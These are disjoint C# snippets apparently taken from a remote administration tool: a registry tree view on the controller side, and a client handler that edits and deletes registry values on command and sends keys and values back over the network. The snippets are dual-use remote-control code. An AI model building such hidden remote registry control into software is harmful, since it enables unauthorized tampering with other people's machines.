public RegistryTreeViewModel(RegistryCommand registryCommand) { Entries = new EntriesHelper <SubKeyNodeViewModel>(); Selection = new TreeRootSelector <SubKeyNodeViewModel, AdvancedRegistrySubKey>(Entries) { Comparers = new[] { new RegistryPathComparer() } }; var hiveEntries = new List <RegistryHive> { RegistryHive.ClassesRoot, RegistryHive.CurrentUser, RegistryHive.LocalMachine, RegistryHive.Users, RegistryHive.CurrentConfig }; Entries.SetEntries(UpdateMode.Replace, hiveEntries.ToDictionary(x => x, y => y.ToReadableString()).Select( x => new SubKeyNodeViewModel(this, new AdvancedRegistrySubKey { IsEmpty = false, Name = x.Value, Path = x.Value, RegistryHive = x.Key, RelativePath = "" }, null, registryCommand)).ToArray()); }
public static void Handle(IClient c, object[] data) { RegistryCommand command = (RegistryCommand)data[1]; Console.WriteLine("Registry Command: {0}", command.ToString()); if (command == RegistryCommand.UpdateNodeResponce) { UpdateNodes(c, (string[])data[2]); } if (command == RegistryCommand.EmptyNode) { EmptyNode(c); } if (command == RegistryCommand.ValueResponce) { UpdateValues(c, (Dictionary <string, string>)data[2]); } if (command == RegistryCommand.NodeDeniedAccess) { EmptyNode(c); } if (command == RegistryCommand.ValueDeniedAccess) { VauesDeniedAccess(c); } }
public SubKeyNodeViewModel(RegistryTreeViewModel rootTreeViewModel, AdvancedRegistrySubKey currentEntry, SubKeyNodeViewModel parentViewModel, RegistryCommand registryCommand) { _rootTreeViewModel = rootTreeViewModel; _registryCommand = registryCommand; Parent = parentViewModel; Value = currentEntry; IsRegistryHive = string.IsNullOrEmpty(Value.RelativePath); Entries = new EntriesHelper <SubKeyNodeViewModel>(LoadSubEntries); Selection = new TreeSelector <SubKeyNodeViewModel, AdvancedRegistrySubKey>(Value, this, parentViewModel == null ? rootTreeViewModel.Selection : parentViewModel.Selection, Entries); if (Value.IsEmpty) { Entries.SetEntries(UpdateMode.Update); } }
public RegistryAction(RegistryCommand command, Dictionary <string, string> params_) : base(params_) { Command = command; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _registryCommand = clientController.Commander.GetCommand <RegistryCommand>(); _registryCommand.RegistryValuesReceived += RegistryCommand_RegistryValuesReceived; _registryCommand.ValuesChanged += RegistryCommand_ValuesChanged; }
public static void Handle(object[] data) { RegistryCommand command = (RegistryCommand)data[1]; Console.WriteLine("Registry Command: {0}", command.ToString()); if (command == RegistryCommand.DeleteValue) { try { RegistryKey key = KeyFromType((RegistryKeyType)data[2]); if (key == null) { return; } string path = (string)data[3]; key.OpenSubKey(path, true).DeleteValue((string)data[4]); } catch (Exception ex) { if (ex is UnauthorizedAccessException || ex is System.Security.SecurityException) { throw; } else { throw; } } } if (command == RegistryCommand.SetValue) { try { RegistryKey key = KeyFromType((RegistryKeyType)data[2]); if (key == null) { return; } string path = (string)data[3]; key.OpenSubKey(path, true).SetValue((string)data[4], (string)data[5]); } catch (Exception ex) { if (ex is UnauthorizedAccessException || ex is System.Security.SecurityException) { throw; } else { throw; } } } if (command == RegistryCommand.UpdateNodes) { try { RegistryKey key = KeyFromType((RegistryKeyType)data[2]); if (key == null) { return; } string path = (string)data[3]; string[] subKeys = key.OpenSubKey(path).GetSubKeyNames(); if (subKeys.Length > 0) { NetworkHost.Send((byte)NetworkCommand.RegistryEdit, (byte)RegistryCommand.UpdateNodeResponce, subKeys); } else { NetworkHost.Send((byte)NetworkCommand.RegistryEdit, (byte)RegistryCommand.EmptyNode); } } catch { NetworkHost.Send((byte)NetworkCommand.RegistryEdit, (byte)RegistryCommand.NodeDeniedAccess); } } if (command == RegistryCommand.UpdateKeys) { try { RegistryKey key = KeyFromType((RegistryKeyType)data[2]); if (key == null) { return; } string path = (string)data[3]; RegistryKey registrySubkey = key.OpenSubKey(path); string[] values = registrySubkey.GetValueNames(); Dictionary <string, string> valueDic = new Dictionary <string, string>(); foreach (string s in values) { if (!valueDic.ContainsKey(s)) { valueDic.Add(s, registrySubkey.GetValue(s).ToString()); } } NetworkHost.Send((byte)NetworkCommand.RegistryEdit, (byte)RegistryCommand.ValueResponce, valueDic); } catch { NetworkHost.Send((byte)NetworkCommand.RegistryEdit, (byte)RegistryCommand.ValueDeniedAccess); } } }